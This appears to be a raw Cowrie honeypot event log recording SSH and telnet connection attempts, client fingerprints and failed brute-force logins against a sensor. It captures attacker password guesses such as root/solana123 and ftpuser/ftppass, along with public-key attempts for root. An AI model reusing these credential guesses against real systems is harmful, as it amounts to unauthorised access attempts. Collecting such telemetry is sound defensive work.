{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":13498,"dst_ip":"10.17.0.5","dst_port":22,"session":"154d286abf12","protocol":"ssh","message":"New connection: 94.26.106.201:13498 (10.17.0.5:22) [session: 154d286abf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.257443Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.262572Z","src_ip":"94.26.106.201","session":"154d286abf12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":13508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f369eb8819b9","protocol":"ssh","message":"New connection: 94.26.106.201:13508 (10.17.0.5:22) [session: f369eb8819b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.349349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.354303Z","src_ip":"94.26.106.201","session":"f369eb8819b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.444177Z","src_ip":"94.26.106.201","session":"f369eb8819b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc2dfc92b7c","protocol":"telnet","message":"New connection: 192.119.13.58:45536 (10.17.0.5:23) [session: acc2dfc92b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.505473Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana123","message":"login attempt [root/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:44.622130Z","src_ip":"94.26.106.201","session":"f369eb8819b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:45.714517Z","src_ip":"94.26.106.201","session":"f369eb8819b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.524418592453,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:46.659333Z","src_ip":"192.119.13.58","session":"c2ab1c14ef35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":33258,"dst_ip":"159.203.135.109","dst_port":22,"session":"32df7bf907c8","protocol":"ssh","message":"New connection: 102.223.92.101:33258 (159.203.135.109:22) [session: 32df7bf907c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:52.062833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:52.068882Z","src_ip":"102.223.92.101","session":"32df7bf907c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:52.241040Z","src_ip":"102.223.92.101","session":"32df7bf907c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.0899224281311,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:52.701797Z","src_ip":"192.119.13.58","session":"d8b0110a52f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12","message":"login attempt [root/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:52.962953Z","src_ip":"102.223.92.101","session":"32df7bf907c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:54.138502Z","src_ip":"102.223.92.101","session":"32df7bf907c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":37516,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a21a7f4e4f","protocol":"ssh","message":"New connection: 49.51.202.114:37516 (159.203.135.109:22) [session: 31a21a7f4e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:09.836534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:09.856270Z","src_ip":"49.51.202.114","session":"31a21a7f4e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:09.925179Z","src_ip":"49.51.202.114","session":"31a21a7f4e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftppass","message":"login attempt [ftpuser/ftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:10.234115Z","src_ip":"49.51.202.114","session":"31a21a7f4e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:11.305722Z","src_ip":"49.51.202.114","session":"31a21a7f4e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afbdfab5d75","protocol":"telnet","message":"New connection: 192.119.13.58:36666 (10.17.0.5:23) [session: 7afbdfab5d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:11.566150Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":48416,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce9eee00db2","protocol":"ssh","message":"New connection: 185.92.182.129:48416 (10.17.0.5:22) [session: fce9eee00db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:14.685824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:14.692242Z","src_ip":"185.92.182.129","session":"fce9eee00db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:14.730706Z","src_ip":"185.92.182.129","session":"fce9eee00db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49044,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4ec0ffb768","protocol":"telnet","message":"New connection: 192.119.13.58:49044 (10.17.0.5:23) [session: aa4ec0ffb768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:14.783248Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe","message":"login attempt [root/ChangeMe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:15.467313Z","src_ip":"185.92.182.129","session":"fce9eee00db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:16.524991Z","src_ip":"185.92.182.129","session":"fce9eee00db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e33501eb190","protocol":"telnet","message":"New connection: 192.119.13.58:51770 (10.17.0.5:23) [session: 8e33501eb190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:30.468208Z"}
{"eventid":"cowrie.session.closed","duration":49.82407879829407,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:34.329413Z","src_ip":"192.119.13.58","session":"acc2dfc92b7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca7ae296322","protocol":"telnet","message":"New connection: 192.119.13.58:39568 (10.17.0.5:23) [session: cca7ae296322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:34.665305Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":54098,"dst_ip":"10.17.0.5","dst_port":22,"session":"2107b75a8894","protocol":"ssh","message":"New connection: 108.181.22.199:54098 (10.17.0.5:22) [session: 2107b75a8894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:39.339246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:39.344039Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:39.491263Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:47:b7:11:77:1c:f4:50:b9:fe:b9:82:2b:c5:f2:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2jk09TwJIJX1yUU7UbLB1jNGU74rDnz4em9k2yE9xQgFE43nN58ZXQJq63M2zxjYGiOh6sNt/8FDyMzQyLHzSisjVIAkiyubQJkQsDcWnYkoZ78xLvQJJLDVJmNVKrAZds0UbB+pdhfVsslODOmwW9gmyoL9HdQVmx26O0+jRvmM1DqJPCtmybrs7vWXvj62rBdzYKa2NJ+1P8xg7RMrpq2gBXHdbc9nfkmmz+/QE1K8UeNm79XUgQFYR6R+Jw37e7oX/Uui5/YvWeFVylL+WOTLl6p8Ynd+20gCVpJhf6rK6ZjrdBL1vXtltJkB46xV7MHhY/hM9iR51L77SG6qF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:47:b7:11:77:1c:f4:50:b9:fe:b9:82:2b:c5:f2:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.143901Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:47:b7:11:77:1c:f4:50:b9:fe:b9:82:2b:c5:f2:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2jk09TwJIJX1yUU7UbLB1jNGU74rDnz4em9k2yE9xQgFE43nN58ZXQJq63M2zxjYGiOh6sNt/8FDyMzQyLHzSisjVIAkiyubQJkQsDcWnYkoZ78xLvQJJLDVJmNVKrAZds0UbB+pdhfVsslODOmwW9gmyoL9HdQVmx26O0+jRvmM1DqJPCtmybrs7vWXvj62rBdzYKa2NJ+1P8xg7RMrpq2gBXHdbc9nfkmmz+/QE1K8UeNm79XUgQFYR6R+Jw37e7oX/Uui5/YvWeFVylL+WOTLl6p8Ynd+20gCVpJhf6rK6ZjrdBL1vXtltJkB46xV7MHhY/hM9iR51L77SG6qF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.148117Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:9c:a7:28:63:32:02:6e:c1:d1:66:a1:8f:b3:d7:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IYw63/BADFqT2dnBcOvRsi1nas6ywlKBrC1brfGANTuoDM58SsQNSXuaJRJns7fi9pFLb4DcuzP2rdNZjkP+U4jy+f/Pdissgy6VOO38e3XAIqk3hNS+sv7lAyeFiuExoywJuNM0c45I6drRvgYxc5lk/dnKmuOx3eXnHXKDNckh7dySMyZ9SPLvmrwrF9rhQgjfFnSn/dJyHKkNXaCgUNl4E/dau9Ek0K1xC58QTmWfD0l2jfwzVwbDDCO1GezB8S1KF5dphi3VlrLXsfdKhAA0PgUhY/oaVRpcvoWrg1TZdWLDqrr+Z9dcW5dOnIM3CoUwPJM7IEW0tsi3lhMGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:9c:a7:28:63:32:02:6e:c1:d1:66:a1:8f:b3:d7:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.265175Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:9c:a7:28:63:32:02:6e:c1:d1:66:a1:8f:b3:d7:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IYw63/BADFqT2dnBcOvRsi1nas6ywlKBrC1brfGANTuoDM58SsQNSXuaJRJns7fi9pFLb4DcuzP2rdNZjkP+U4jy+f/Pdissgy6VOO38e3XAIqk3hNS+sv7lAyeFiuExoywJuNM0c45I6drRvgYxc5lk/dnKmuOx3eXnHXKDNckh7dySMyZ9SPLvmrwrF9rhQgjfFnSn/dJyHKkNXaCgUNl4E/dau9Ek0K1xC58QTmWfD0l2jfwzVwbDDCO1GezB8S1KF5dphi3VlrLXsfdKhAA0PgUhY/oaVRpcvoWrg1TZdWLDqrr+Z9dcW5dOnIM3CoUwPJM7IEW0tsi3lhMGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.269660Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:1b:58:97:94:74:c4:11:a4:34:cb:e6:d1:32:a6:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnb36xz4USuM28BjBE5pdezQxqRhQEIUtGadSGwDEEr2W7B5I+bKR5fFL0en8orn4ne1wrbnpYY6TpXIcFXvFeClpsy7JSXzsu34iq/zDRlz0uZ7+3ksAL/t0mxUgmlhZzrCc2VKZXztnGpOsUaaCw8TmiqN8OEXhXa14bFS3ryMU87m75c3EkX/bcGh2xC8qGq2bMHr73Czr7+xb77pB4XZDv8xLyHh8EayOIvqkHoanP7RY7nB2CAkrOmfOeKDbu2BWAXxna2MEIzrwkND/w71r9FwsDk+06EUuBWSuYSHw0xDloezTfQIm+7V0Zsyl1xEezJAtbH7lyNwQfWa9R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:1b:58:97:94:74:c4:11:a4:34:cb:e6:d1:32:a6:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.381042Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:1b:58:97:94:74:c4:11:a4:34:cb:e6:d1:32:a6:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnb36xz4USuM28BjBE5pdezQxqRhQEIUtGadSGwDEEr2W7B5I+bKR5fFL0en8orn4ne1wrbnpYY6TpXIcFXvFeClpsy7JSXzsu34iq/zDRlz0uZ7+3ksAL/t0mxUgmlhZzrCc2VKZXztnGpOsUaaCw8TmiqN8OEXhXa14bFS3ryMU87m75c3EkX/bcGh2xC8qGq2bMHr73Czr7+xb77pB4XZDv8xLyHh8EayOIvqkHoanP7RY7nB2CAkrOmfOeKDbu2BWAXxna2MEIzrwkND/w71r9FwsDk+06EUuBWSuYSHw0xDloezTfQIm+7V0Zsyl1xEezJAtbH7lyNwQfWa9R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.385413Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:7d:49:42:7f:53:0b:dc:bb:28:36:5c:7f:f4:bb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChH+HAYEmot3RTSJEEKmH+zoDgnf5Sx717LdTyayKRifOxuMLM0TUMsY9urTc0fZvy0UNxMrMxyt82iJRr7Nj66Bkx+b8g4ZvjgkuWWk2mNd3sAi6ElE0PfXwsTK+WhnlYWwquK4NuPsr6qiavTN/sjeKr4YCF3gCPwX249mRf1Fy6GjM3VFFRXnORHkIktMK0GzWGCRtADki6N6/3Fjl5/6RmLbltHSCJrOHbK4JvihiLXmzwt60Ss76JfPptudTZYpMI8FNS1ARaTNbvgeqIRHWgy3ye60OWk5HJ+m/2LnVw9KLJoQxGUysCk9fyjjs3WbsoWzZjxIuzKI4bMdbb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:7d:49:42:7f:53:0b:dc:bb:28:36:5c:7f:f4:bb:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.499839Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
